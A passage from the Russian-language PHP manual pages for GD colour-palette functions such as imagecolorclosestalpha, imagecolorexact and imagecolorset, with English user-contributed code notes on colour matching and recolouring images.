        return [$rgba['red'], $rgba['green'], $rgba['blue']];
    },    array_unique($pal));
}

function closest_rgb_in_palette($rgb, $palette)
{
    // Quick return when the exact
    // colour is in the palette.
    if(($idx = array_search($rgb, $palette)) !== false)
    {
        return $idx;
    }
    [$tl, $ta, $tb] = rgb2lab($rgb);
    $dists = array_map(function($plab)use($tl, $ta, $tb)
    {
        [$pl, $pa, $pb] = $plab;
        $dl = $pl - $tl;
        $da = $pa - $ta;
        $db = $pa - $tb;
        return $dl * $dl + $da * $da + $db * $db;
    }, array_map('rgb2lab', $palette));
    return array_search(min($dists), $dists);
}

function closest_rgb_in_image($rgb, $image)
{
    $palette = generate_palette_from_image($image);
    return $palette[closest_rgb_in_palette($rgb, $palette)];
}

$lena = imagecreatefrompng('lena.png');
$red = closest_rgb_in_image([255,0,0],$lena);
echo join(' ', $red);  // 228 71 82

?>

If you're going to be matching a lot of colours to a palette, you may want to precompute and reuse the Lab palette, instead of generating it fresh each time as done here.
info at codeworx dot ch 09-Nov-2011 02:21
Here is a function that compares two HEX colors for similarity. This can be useful if you want to detect colors that are not different enough to see for the naked eye. It returns a bool: TRUE if the colors are similar to each other (within tolerance) or FALSE if they are different enough.
I tested a few colors and came up with a tolerance of 35 (rgb value - should be between 0 and 255) but you can change that tolerance by passing a third parameter to the function.

<?php
function compareColors ($col1, $col2, $tolerance=35) {
    $col1Rgb = array(
        "r" => hexdec(substr($col1, 0, 2)),
        "g" => hexdec(substr($col1, 2, 2)),
        "b" => hexdec(substr($col1, 4, 2))
    );
    $col2Rgb = array(
        "r" => hexdec(substr($col2, 0, 2)),
        "g" => hexdec(substr($col2, 2, 2)),
        "b" => hexdec(substr($col2, 4, 2))
    );
    return ($col1Rgb['r'] >= $col2Rgb['r'] - $tolerance && $col1Rgb['r'] <= $col2Rgb['r'] + $tolerance) && ($col1Rgb['g'] >= $col2Rgb['g'] - $tolerance && $col1Rgb['g'] <= $col2Rgb['g'] + $tolerance) && ($col1Rgb['b'] >= $col2Rgb['b'] - $tolerance && $col1Rgb['b'] <= $col2Rgb['b'] + $tolerance);
}
?>
MagicalTux at FF dot st 28-Jun-2005 06:22
A way to get each time an answer :

<?php
function imagegetcolor($im, $r, $g, $b) {
        $c=imagecolorexact($im, $r, $g, $b);
        if ($c!=-1) return $c;
        $c=imagecolorallocate($im, $r, $g, $b);
        if ($c!=-1) return $c;
        return imagecolorclosest($im, $r, $g, $b);
}
?>

If the *exact* color is found in the image, it will be returned. If we don't have the exact color, we try to allocate it. If we can't allocate it, we return the closest color in the image.
Vikrant Korde <vakorde at hotmail dot com> 11-Oct-2003 08:10
This functuion is useful when you are dealing with previously present images like .png, .jpg, etc. You can use this function for writing a text on the image.

For me the function imagecolorallocate() was returning the -1 value. after lot of RnD and site search i found a function use of imagecolorclosest(). This solved my problem of writing the text on the image with customised color.

Actually previously it was writing on the image but the color was not distinct. It was using the same color as of that background image.

The following code segment was fine with me.

header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("BlankButton.jpg");
$white = imageColorClosest($im, 255,255,255);
// this is for TTF fonts
imagettftext ($im, 20, 0, 16, 30, $white, "/usr/X11R6/lib/X11/fonts/TTF/luximb.ttf", "Vikrant");

//this is for notmal font
imagestring($im, 4, 0,0,"Korde", $white);
imagejpeg($im,"",150);
imagedestroy ($im);


Получение индекса цвета ближайшего к заданному с учётом прозрачности

  • « imagecolorclosest
  • imagecolorclosesthwb »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение индекса цвета ближайшего к заданному с учётом прозрачности

imagecolorclosestalpha

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecolorclosestalpha — Получение индекса цвета ближайшего к заданному с учётом прозрачности

Описание

imagecolorclosestalpha(
GdImage $image,
int $red,
int $green,
int $blue,
int $alpha
): int

Возвращает индекс цвета в палитре изображения, "ближайшего" к заданному RGB значению, а также alpha уровню.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

red

Значение красного компонента цвета.

green

Значение зелёного компонента цвета.

blue

Значение синего компонента цвета.

alpha

Значение в диапазоне от 0 до 127. 0 означает непрозрачность, 127 означает абсолютную прозрачность.

Параметры цвета могут быть либо целочисленными в диапазоне от 0 до 255, либо шестнадцатеричными в диапазоне от 0x00 до 0xFF.

Возвращаемые значения

Возвращает индекс цвета в палитре изображения, ближайшего к заданному.

Примеры

Пример #1 Поиск набора цветов изображения

<?php
// Создание изображения и преобразование его в палитровое
$im = imagecreatefrompng('figures/imagecolorclosest.png');
imagetruecolortopalette($im, false, 255);

// Цвета для поиска (RGB)
$colors = array(
array(254, 145, 154, 50),
array(153, 145, 188, 127),
array(153, 90, 145, 0),
array(255, 137, 92, 84)
);

// Проход по каждому цвету и поиск ближайшего к нему в палитре.
// Возврат номера по порядку, RGB искомого цвета и найденное RGB соответствие
foreach($colors as $id => $rgb)
{
$result = imagecolorclosestalpha($im, $rgb[0], $rgb[1], $rgb[2], $rgb[3]);
$result = imagecolorsforindex($im, $result);
$result = "({$result['red']}, {$result['green']}, {$result['blue']}, {$result['alpha']})";

echo "#$id: Поиск ($rgb[0], $rgb[1], $rgb[2], $rgb[3]); Ближайшее сходство: $result.\n";
}

imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

#0: Поиск (254, 145, 154, 50); Ближайшее сходство: (252, 150, 148, 0).
#1: Поиск (153, 145, 188, 127); Ближайшее сходство: (148, 150, 196, 0).
#2: Поиск (153, 90, 145, 0); Ближайшее сходство: (148, 90, 156, 0).
#3: Поиск (255, 137, 92, 84); Ближайшее сходство: (252, 150, 92, 0).

Смотрите также

  • imagecolorexactalpha() - Получение индекса заданного цвета и альфа компонента
  • imagecolorclosest() - Получение индекса цвета ближайшего к заданному
  • imagecolorclosesthwb() - Получение индекса цвета, имеющего заданный тон, белизну и затемнение

User Contributed Notes

There are no user contributed notes for this page.


Получение индекса цвета, имеющего заданный тон, белизну и затемнение

  • « imagecolorclosestalpha
  • imagecolordeallocate »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение индекса цвета, имеющего заданный тон, белизну и затемнение

imagecolorclosesthwb

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecolorclosesthwb — Получение индекса цвета, имеющего заданный тон, белизну и затемнение

Описание

imagecolorclosesthwb(
GdImage $image,
int $red,
int $green,
int $blue
): int

Получение индекса цвета, имеющего значения тона, белизны и затемнения наиболее близкие к заданному цвету.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

red

Значение красного компонента цвета.

green

Значение зелёного компонента цвета.

blue

Значение синего компонента цвета.

Возвращаемые значения

Возвращает целочисленный индекс цвета, имеющего значения тона, белизны и затемнения наиболее близкие к заданному цвету.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagecolorclosesthwb()

<?php
$im = imagecreatefromgif('php.gif');

echo 'HWB: ' . imagecolorclosesthwb($im, 116, 115, 152);

imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

HWB: 33

Смотрите также

  • imagecolorclosest() - Получение индекса цвета ближайшего к заданному

User Contributed Notes

Xong 22-Jun-2009 03:56
I have written a function which uses the deltaE-function of the CMC.
It returns much better results than imagecolorclosestHWB() or imageColorClosest().

A test-script is online on http://www.fuhrpark-software.de/spielwiese/color.php?color=ffff00

<?php
/*
 * Returns the index of the palette-color which is most similar
 * to $givenColor.
 *
 * $givenColor and the colors in $palette should be either
 * formatted as (#)rrggbb
 * (e. g. "ff0000", "4da4f3" or "#b5d7f3")
 * or arrays with values for red, green and blue
 * (e. g. $givenColor = array( 0xff, 0x00, 0x00 ) )
 *
 * References:
 * function rgb2lab
 *   - http://www.f4.fhtw-berlin.de/~barthel/ImageJ/ImageJ.htm
 *
 * function rgb2lab & function deltaE
 *   - http://www.brucelindbloom.com
 */
function getNearestColor(
  $givenColor,
  $palette = array( 'blue' => '43aafd','red' => 'fe6256','green' => '64b949','yellow' => 'fcf357',
    'black' => '656565','white' => 'fdfdfd','orange' => 'fea800','purple' => '9773fe')
) {
  if(!function_exists('rgb2lab')) {
    function rgb2lab($rgb) {
      $eps = 216/24389; $k = 24389/27;
      // reference white D50
      $xr = 0.964221; $yr = 1.0; $zr = 0.825211;

      $rgb[0] = $rgb[0]/255; //R 0..1
      $rgb[1] = $rgb[1]/255; //G 0..1
      $rgb[2] = $rgb[2]/255; //B 0..1

      // assuming sRGB (D65)
      $rgb[0] = ($rgb[0] <= 0.04045)?($rgb[0]/12.92):pow(($rgb[0]+0.055)/1.055,2.4);
      $rgb[1] = ($rgb[1] <= 0.04045)?($rgb[1]/12.92):pow(($rgb[1]+0.055)/1.055,2.4);
      $rgb[2] = ($rgb[2] <= 0.04045)?($rgb[2]/12.92):pow(($rgb[2]+0.055)/1.055,2.4);

      // sRGB D50
      $x =  0.4360747*$rgb[0] + 0.3850649*$rgb[1] + 0.1430804 *$rgb[2];
      $y =  0.2225045*$rgb[0] + 0.7168786*$rgb[1] + 0.0606169 *$rgb[2];
      $z =  0.0139322*$rgb[0] + 0.0971045*$rgb[1] + 0.7141733 *$rgb[2];

      $xr = $x/$xr; $yr = $y/$yr; $zr = $z/$zr;

      $fx = ($xr > $eps)?pow($xr, 1/3):($fx = ($k * $xr + 16) / 116);
      $fy = ($yr > $eps)?pow($yr, 1/3):($fy = ($k * $yr + 16) / 116);
      $fz = ($zr > $eps)?pow($zr, 1/3):($fz = ($k * $zr + 16) / 116);

      $lab = array();
      $lab[] = round(( 116 * $fy ) - 16);
      $lab[] = round(500*($fx-$fy));
      $lab[] = round(200*($fy-$fz));
      return $lab;
    }
  }

  if(!function_exists('deltaE')) {
    function deltaE($lab1, $lab2) {
      // CMC 1:1
      $l = 1; $c = 1;

      $c1 = sqrt($lab1[1]*$lab1[1]+$lab1[2]*$lab1[2]);
      $c2 = sqrt($lab2[1]*$lab2[1]+$lab2[2]*$lab2[2]);

      $h1 = (((180000000/M_PI) * atan2($lab1[1],$lab1[2]) + 360000000) % 360000000)/1000000;

      $t = (164 <= $h1 AND $h1 <= 345)?(0.56 + abs(0.2 * cos($h1+168))):(0.36 + abs(0.4 * cos($h1+35)));
      $f = sqrt(pow($c1,4)/(pow($c1,4) + 1900));

      $sl = ($lab1[0] < 16)?(0.511):((0.040975*$lab1[0])/(1 + 0.01765*$lab1[0]));
      $sc = (0.0638 * $c1)/(1 + 0.0131 * $c1) + 0.638;
      $sh = $sc * ($f * $t + 1 -$f);

      return sqrt(
        pow(($lab1[0]-$lab2[0])/($l * $sl),2) +
        pow(($c1-$c2)/($c * $sc),2) +
        pow(sqrt(
              ($lab1[1]-$lab2[1])*($lab1[1]-$lab2[1]) +
              ($lab1[2]-$lab2[2])*($lab1[2]-$lab2[2]) +
              ($c1-$c2)*($c1-$c2)
            )/$sh,2)
      );
    }
  }

  if(!function_exists('str2rgb')) {
    function str2rgb($str)
    {
      $str = preg_replace('~[^0-9a-f]~','',$str);
      $rgb = str_split($str,2);
      for($i=0;$i<3;$i++)
        $rgb[$i] = intval($rgb[$i],16);

      return $rgb;
    }
  }

  $givenColorRGB = is_array($givenColor?$givenColor:str2rgb($givenColor);

  $min = 0xffff;
  $return = NULL;

  foreach($palette as $key => $color) {
    $color = is_array($color)?$color:str2rgb($color);
    if($min >= ($deltaE = deltaE(rgb2lab($color),rgb2lab($givenColorRGB))))
    {
      $min = $deltaE;
      $return = $key;
    }
  }

  return $return;
}
?>


Разрыв ассоциации переменной с цветом для заданного изображения

  • « imagecolorclosesthwb
  • imagecolorexact »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Разрыв ассоциации переменной с цветом для заданного изображения

imagecolordeallocate

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolordeallocate — Разрыв ассоциации переменной с цветом для заданного изображения

Описание

imagecolordeallocate(GdImage $image, int $color): bool

Разрывает ассоциацию переменной с цветом, которая ранее была создана функциями imagecolorallocate() или imagecolorallocatealpha().

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

color

Идентификатор цвета.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagecolordeallocate()

<?php
$white = imagecolorallocate($im, 255, 255, 255);
imagecolordeallocate($im, $white);
?>

Смотрите также

  • imagecolorallocate() - Создание цвета для изображения
  • imagecolorallocatealpha() - Создание цвета для изображения

User Contributed Notes

There are no user contributed notes for this page.


Получение индекса заданного цвета

  • « imagecolordeallocate
  • imagecolorexactalpha »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение индекса заданного цвета

imagecolorexact

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorexact — Получение индекса заданного цвета

Описание

imagecolorexact(
GdImage $image,
int $red,
int $green,
int $blue
): int

Возвращает индекс для заданного цвета в палитре изображения.

Если изображение было создано из файла, то будут распознаны только цвета, используемые в изображении. Цвета, которые используются только в палитре, распознаны не будут.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

red

Значение красного компонента цвета.

green

Значение зелёного компонента цвета.

blue

Значение синего компонента цвета.

Возвращаемые значения

Возвращает индекс для заданного цвета в палитре изображения либо -1, если такого цвета в палитре нет.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Получение цветов GD логотипа

<?php
// создание изображения
$im = imagecreatefrompng('./gdlogo.png');

$colors = Array();
$colors[] = imagecolorexact($im, 255, 0, 0);
$colors[] = imagecolorexact($im, 0, 0, 0);
$colors[] = imagecolorexact($im, 255, 255, 255);
$colors[] = imagecolorexact($im, 100, 255, 52);

print_r($colors);

// освобождение памяти
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => 16711680
    [1] => 0
    [2] => 16777215
    [3] => 6618932
)

Смотрите также

  • imagecolorclosest() - Получение индекса цвета ближайшего к заданному

User Contributed Notes

samtobia at geemail dot com 24-Mar-2011 10:11
A script that changes colors depending on get variable
important to note: I had little success with pngs and getting true red
gifs work much better

<?php
//0 is yellow, 1 is red, 2 is blue
$y = 1 - ceil($_GET["c"]/2);
$r = 1 - floor($_GET["c"]/2);
$b = floor($_GET["c"]/2);

$gd = imagecreatefromgif("example.gif");
imagecolorset($gd, imagecolorexact($gd, 255, 0, 0), $r*255, $y*255, $b*255);
imagecolorset($gd, imagecolorexact($gd, 191, 0, 0), $r*191, $y*191, $b*191);
imagecolorset($gd, imagecolorexact($gd, 128, 0, 0), $r*128, $y*128, $b*128);
imagecolorset($gd, imagecolorexact($gd, 255, 0, 0), $r*64, $y*64, $b*64);

header('Content-Type: image/gif');
imagegif($gd);

?>
jbr at ya-right dot com 18-Feb-2006 12:38
A few notes about this function...

This function will only work on images where the palette is 256 colors or less. You also can not use imagetruecolortopalette() to reduce the palette on a true color PNG image that has greater than 256 colors in it's palette, then call this function. If you try to do this imagecolorexact() will report colors not being in the image when they are in the image!

1. works on png(s) 8bit/256 colors or less.
2. works on all gif(s)
3. does not work on any type of jpg/jpeg image.
info at educar dot pro dot br 16-Nov-2005 11:14
<?php

$src = "../images/pic.gif";

$red = 9;
$green = 9;
$blue = 4;

$pic0026 = imagecreatefromgif ( $src );

$ind = imagecolorexact ( $pic, $red, $green, $blue );

echo '<img src="../images/pic.gif" border="0" alt="pic" title="View pic" /><br /><br />';

echo "RED ( " . $red . " ) GREEN ( " . $green . " ) BLUE ( " . $blue . " )<br />-> Palette Index = " . $ind;

if ( $ind != -1 )
{
echo "<br />[ The color exists! ]";
}
else
{
echo "<br />[ The color does not exist! ]";
}

imagedestroy ( $pic );

?>


Получение индекса заданного цвета и альфа компонента

  • « imagecolorexact
  • imagecolormatch »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение индекса заданного цвета и альфа компонента

imagecolorexactalpha

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecolorexactalpha — Получение индекса заданного цвета и альфа компонента

Описание

imagecolorexactalpha(
GdImage $image,
int $red,
int $green,
int $blue,
int $alpha
): int

Возвращает индекс для заданного цвета и альфа компонента в палитре изображения.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

red

Значение красного компонента цвета.

green

Значение зелёного компонента цвета.

blue

Значение синего компонента цвета.

alpha

Значение в диапазоне от 0 до 127. 0 означает непрозрачность, 127 означает абсолютную прозрачность.

Параметры цвета могут быть либо целочисленными в диапазоне от 0 до 255, либо шестнадцатеричными в диапазоне от 0x00 до 0xFF.

Возвращаемые значения

Возвращает индекс для заданного цвета и альфа компонента в палитре изображения либо -1, если такого цвета в палитре нет.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Получение цветов GD логотипа

<?php

// создание изображения
$im = imagecreatefrompng('./gdlogo.png');

$colors = Array();
$colors[] = imagecolorexactalpha($im, 255, 0, 0, 0);
$colors[] = imagecolorexactalpha($im, 0, 0, 0, 127);
$colors[] = imagecolorexactalpha($im, 255, 255, 255, 55);
$colors[] = imagecolorexactalpha($im, 100, 255, 52, 20);

print_r($colors);

// освобождение памяти
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => 16711680
    [1] => 2130706432
    [2] => 939524095
    [3] => 342163252
)

Смотрите также

  • imagecolorclosestalpha() - Получение индекса цвета ближайшего к заданному с учётом прозрачности

User Contributed Notes

matt at matt-darby dot com 11-Jul-2005 06:09
Note that a color allocated with imagecolorexactalpha won't show alpha (it will be opaque) when used with imageline(). Use imagerectangle() set to your normal start and end points instead.

Ensure that the image is created via imagecreatetruecolor() as well!
phpdoc-comment at aditus dot nu 08-Nov-2002 10:01
What might be misleading in the docs is that if the specified color + alpha channel does not exist it will be created. So if you like to use an alpha channel in your image enable alpha blending and then create you color using this method.


Делает цвета палитровой версии изображения более соответствующими truecolor версии

  • « imagecolorexactalpha
  • imagecolorresolve »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Делает цвета палитровой версии изображения более соответствующими truecolor версии

imagecolormatch

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imagecolormatch — Делает цвета палитровой версии изображения более соответствующими truecolor версии

Описание

imagecolormatch(GdImage $image1, GdImage $image2): bool

Делает цвета палитровой версии изображения более соответствующими truecolor версии.

Список параметров

image1

Объект truecolor-изображения.

image2

Объект палитрового изображения, имеющего тот же размер, что и image1.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image1 и image2 теперь ожидают экземпляр GdImage; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования imagecolormatch()

<?php
// создание изображений
$im1 = imagecreatefrompng('./gdlogo.png');
$im2 = imagecreate(imagesx($im1), imagesy($im1));

// Добавим несколько цветов в $im2
$colors = Array();
$colors[] = imagecolorallocate($im2, 255, 36, 74);
$colors[] = imagecolorallocate($im2, 40, 0, 240);
$colors[] = imagecolorallocate($im2, 82, 100, 255);
$colors[] = imagecolorallocate($im2, 84, 63, 44);

// Зададим соответствия этих цветов цветам truecolor изображения
imagecolormatch($im1, $im2);

// освободим память
imagedestroy($im1);
imagedestroy($im2);
?>

Смотрите также

  • imagecreatetruecolor() - Создание нового полноцветного изображения

User Contributed Notes

gk at karko dot net 28-Jun-2010 09:42
Those that have Ubuntu servers note, that this function is added in PHP's GD library fork and is not available by default in Ubuntu php5-gd package.

Here's how-to install the PHP GD version: http://preview.tinyurl.com/yel4r7t
albriNOght at anSPAMre dot net 12-Dec-2005 09:22
This function appears to work by changing the values of the colors of the paletted image -- no good if you're trying to force the resultant image to stick with certain pre-defined color values.
Samantha 08-Feb-2004 07:14
This function is a godsend! It works exactly as documented.

I'm working on an application where I need to take a transparent GIF, matte the GIF on a user defined background color, and finally scale the GIF based on a user defined %.

The only way I could get this to work so that the final image was high quality, ie: no jagged edges, and a smooth scale, was to convert the GIF to a JPG, and then copy the JPG into a new GIF image like this:

// open transparent gif
$GIFimg = imagecreatefromgif($file_path);

// create jpg image
$JPGimg = imagecreatetruecolor($width, $height);

// copy GIF to JPG
imagecopy($JPGimg, $GIFimg, 0, 0, 0, 0, $width, $height);

// create a true color image
$JPGscaled = imagecreatetruecolor($n_width, $n_height);

// scale the new JPG using the truecolor image
imagecopyresampled($JPGscaled, $JPGimg, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// create final GIF image
$GIFfinal = imagecreate($n_width, $n_height);

// copy the scaled JPG back to a GIF
imagecopymerge($GIFfinal, $JPGscaled, 0, 0, 0, 0, $n_width, $n_height, 100);

This worked great except the final step, copying the JPG to a GIF. If the JPG had too many colors, the function would index the colors to make it a palette image. So what would end up happening is the final image contained INCORRECT colors.

Adding this one line at the bottom of the code fixed everything.

imagecolormatch($JPGscaled, $GIFfinal);

I hope this helps anyone who is converting images back and forth and dealing with palette issues and color correction. Also, be aware that the above code is a sample and will not work by copying and pasting.


Получает идентификатор конкретного цвета или его ближайший аналог

  • « imagecolormatch
  • imagecolorresolvealpha »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получает идентификатор конкретного цвета или его ближайший аналог

imagecolorresolve

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorresolve — Получает идентификатор конкретного цвета или его ближайший аналог

Описание

imagecolorresolve(
GdImage $image,
int $red,
int $green,
int $blue
): int

Эта функция обязательно вернёт идентификатор цвета для выбранного цвета, либо ближайшую возможную его альтернативу.

Если изображение было создано из файла, то будут распознаны только цвета, используемые в изображении. Цвета, которые используются только в палитре, распознаны не будут.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

red

Значение красного компонента цвета.

green

Значение зелёного компонента цвета.

blue

Значение синего компонента цвета.

Возвращаемые значения

Возвращает цветовой идентификатор.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Использование imagecoloresolve() для получения цветов из изображения.

<?php
// загрузить изображение
$im = imagecreatefromgif('phplogo.gif');

// получить ближайшие цвета на изображении
$colors = array();
$colors[] = imagecolorresolve($im, 255, 255, 255);
$colors[] = imagecolorresolve($im, 0, 0, 200);

// вывод
print_r($colors);

imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => 89
    [1] => 85
)

Смотрите также

  • imagecolorclosest() - Получение индекса цвета ближайшего к заданному

User Contributed Notes

ceo at l-i-e dot com 03-Jan-2002 03:55
Okay, so sometimes it's really IMPORTANT to get the exact color you want, only it's not *IN* the Image, and ImageColorResolve just isn't "close enough".

The following code is a disgustingly gross hack, rather slow, but it does that.

$colorcount = array();
for ($x = 0; $x < $width; $x++){
    for ($y = 0; $y < $height; $y++){
        $colorindex = imagecolorat($jpg, $x, $y);
        if (!isset($colorcount[$colorindex])){
            $colorcount[$colorindex] = 1;
        }
        else{
            $colorcount[$colorindex]++;
        }
    }
}
asort($colorcount);
reset($colorcount);

$black = imagecolorexact($jpg, 0, 0, 0);
if ($black == -1){
    $goner = key($colorcount);
    $rgb = imagecolorsforindex($jpg, $goner);
    #error_log("Need black: About to kill $goner ($rgb[red], $rgb[green], $rgb[blue]) which was only used in $colorcount[$goner] pixels", 0);
    unset($colorcount[$goner]);
    imagecolordeallocate($jpg, $goner);
    $black = imagecolorallocate($jpg, 0, 0, 0);
}
if ($black == -1){
    $black = imagecolorresolve($jpg, 0, 0, 0);
    #error_log("Damn!  STILL couldn't allocate the color!", 0);
}


Получает идентификатор конкретного цвета и альфа компонента или его ближайший аналог

  • « imagecolorresolve
  • imagecolorset »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получает идентификатор конкретного цвета и альфа компонента или его ближайший аналог

imagecolorresolvealpha

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecolorresolvealpha — Получает идентификатор конкретного цвета и альфа компонента или его ближайший аналог

Описание

imagecolorresolvealpha(
GdImage $image,
int $red,
int $green,
int $blue,
int $alpha
): int

Эта функция обязательно вернёт идентификатор цвета для выбранного цвета, либо ближайшую возможную его альтернативу.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

red

Значение красного компонента цвета.

green

Значение зелёного компонента цвета.

blue

Значение синего компонента цвета.

alpha

Значение в диапазоне от 0 до 127. 0 означает непрозрачность, 127 означает абсолютную прозрачность.

Параметры цвета могут быть либо целочисленными в диапазоне от 0 до 255, либо шестнадцатеричными в диапазоне от 0x00 до 0xFF.

Возвращаемые значения

Возвращает индекс цвета.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagecoloresolvealpha() для получения цветов из изображения

<?php
// Загрузка изображения
$im = imagecreatefromgif('phplogo.gif');

// Получение ближайших цветов
$colors = array();
$colors[] = imagecolorresolvealpha($im, 255, 255, 255, 0);
$colors[] = imagecolorresolvealpha($im, 0, 0, 200, 127);

// Вывод
print_r($colors);

imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => 89
    [1] => 85
)

Смотрите также

  • imagecolorclosestalpha() - Получение индекса цвета ближайшего к заданному с учётом прозрачности

User Contributed Notes

There are no user contributed notes for this page.


Установка набора цветов для заданного индекса палитры

  • « imagecolorresolvealpha
  • imagecolorsforindex »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Установка набора цветов для заданного индекса палитры

imagecolorset

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorset — Установка набора цветов для заданного индекса палитры

Описание

imagecolorset(
GdImage $image,
int $color,
int $red,
int $green,
int $blue,
int $alpha = 0
): ?false

Функция устанавливает соответствие индекса в палитре заданному цвету. Это полезно для создания эффекта подобного заливке цветом без осуществления заливки.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

color

Индекс в палитре.

red

Значение красного компонента цвета.

green

Значение зелёного компонента цвета.

blue

Значение синего компонента цвета.

alpha

Значение альфа компонента.

Возвращаемые значения

Функция возвращает null в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagecolorset()

<?php
// Создание изображения размером 300x100
$im = imagecreate(300, 100);

// Установка красного цвета фона
imagecolorallocate($im, 255, 0, 0);

// Получение индекса цвета фона
$bg = imagecolorat($im, 0, 0);

// Установка синего цвета фона
imagecolorset($im, $bg, 0, 0, 255);

// Вывод изображения в браузер
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

Смотрите также

  • imagecolorat() - Получение индекса цвета пиксела

User Contributed Notes

Daniel Klein 01-Jul-2015 01:25
If you are creating a palette image from scratch you have to use imagecolorallocate() for each index before you can use imagecolorset() on it.
Bartman 25-Aug-2009 02:12
I had the same problem as heavyraptor2 so i made this function...
<?php
function imagecolorize($im,$endcolor){
    //funcion takes image and turns black into $endcolor, white to white and
    //everything in between in corresponding gradient
    //$endcolor should be 6 char html color

    //make sure it has usable palette
    if (imageistruecolor($im)) {
        imagetruecolortopalette($im, false, 256);
    }

    //first make it gray to be sure of even results (thanks moxleystratton.com)
    //comment this loop if you want the output based on, for example,
    //the red channel (for this take a look at the $gray-var in the last loop)
    for ($c = 0; $c < imagecolorstotal($im); $c++) {
        $col = imagecolorsforindex($im, $c);
        $gray = round(0.299 * $col['red'] + 0.587 * $col['green'] + 0.114 * $col['blue']);
        imagecolorset($im, $c, $gray, $gray, $gray);
    }

    //determine end-colors in hexdec
    $EndcolorRGB['r'] = hexdec( substr($endcolor, 0, 2));
    $EndcolorRGB['g'] = hexdec( substr($endcolor, 2, 2));
    $EndcolorRGB['b'] = hexdec( substr($endcolor, 4, 2));

    //determine gradient-delta's
    $stepR = (255-$EndcolorRGB['r'])/255.0;
    $stepG = (255-$EndcolorRGB['g'])/255.0;
    $stepB = (255-$EndcolorRGB['b'])/255.0;

    //aColor contains the 256 gradations between endcolor(i=0) and white(i=255)
    $aColor = array();
    for ($i = 0; $i<=255; $i++){
        $aColor[$i]['r'] = $EndcolorRGB['r'] + ($i*$stepR);
        $aColor[$i]['g'] = $EndcolorRGB['g'] + ($i*$stepG);
        $aColor[$i]['b'] = $EndcolorRGB['b'] + ($i*$stepB);
    }

    //for every color-index we now replace $gray-values for $aColor
    for ($c = 0; $c < imagecolorstotal($im); $c++){
        $currentColorRGB = imagecolorsforindex($im, $c);
        $gray = $currentColorRGB['red'];//image is grayscale, so red,green and blue
        // should be equal. We use this number as key of aColor
        imagecolorset($im,$c,(int)$aColor[$gray]['r'], (int)$aColor[$gray]['g'], (int)$aColor[$gray]['b']);
    }
}?>
Thomas Mueller 23-Apr-2008 10:42
Here is a function to colorize a picture gradient style.

All you have to do is to pass an img-object and an array of colors.

e.g.

$arr = array('#000000', '#990000', '#00FFFF', '#FFFFDD');
colorize ($img, $arr);

<?php
function colorize($imgdata, $palette)
{
    imageTrueColorToPalette($imgdata,false,0xFF);
    $l = count($palette)-1;
    $i = imagecolorstotal($imgdata);
    while ($i--)
    {
        list($r,$g,$b) = array_values(imageColorsForIndex($imgdata,$i));

